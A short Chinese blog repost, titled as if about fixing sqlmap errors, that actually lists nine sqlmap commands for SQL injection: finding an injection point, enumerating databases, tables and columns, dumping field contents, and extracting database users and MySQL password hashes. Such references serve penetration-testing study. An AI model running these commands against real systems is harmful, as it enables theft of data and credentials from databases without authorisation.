关于 SQLMAP报错如何解决

最新推荐文章于 2025-09-12 12:12:03 发布

曾草莓

最新推荐文章于 2025-09-12 12:12:03 发布

阅读量2k

点赞数 2

CC 4.0 BY-SA版权

文章标签：数据库 mysql java

原文链接：https://blog.csdn.net/weixin_43590262/article/details/117229524

本文详细介绍使用SQLMap进行SQL注入攻击的九种实用命令，包括检测注入点、获取数据库信息、表信息、字段信息等关键步骤。

再复习一下sqlmap注入命令：

1、是否存在注入点

python sqlmap.py -r “响应包路径”

2、获取注入点所有数据库

python sqlmap.py -r “响应包路径” --dbs

3、获取当前使用的数据库

python sqlmap.py -r “响应包路径” --current-db --batch

4、获取数据库中的表

python sqlmap.py -r “响应包路径” --table -D “数据库名” --batch

5、获取表中的字段信息

python sqlmap.py -r “响应包路径” --columns -T “表名” -D “获取的数据库名” --batch

6、获取字段具体信息

python sqlmap.py -r “响应包路径” --dump -C “字段名(可多个)” --columns -T “表名” -D “数据库名” --batch

7、当前使用的账户

python sqlmap.py -r “响应包路径” --current-user

8、列出所有使用过的账户

python sqlmap.py -r “响应包路径” –users

9、
mysql的登录账户和密码

python sqlmap.py -r “响应包路径” –passwords
————————————————
版权声明：本文为CSDN博主「陌橙」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/weixin_43590262/article/details/117229524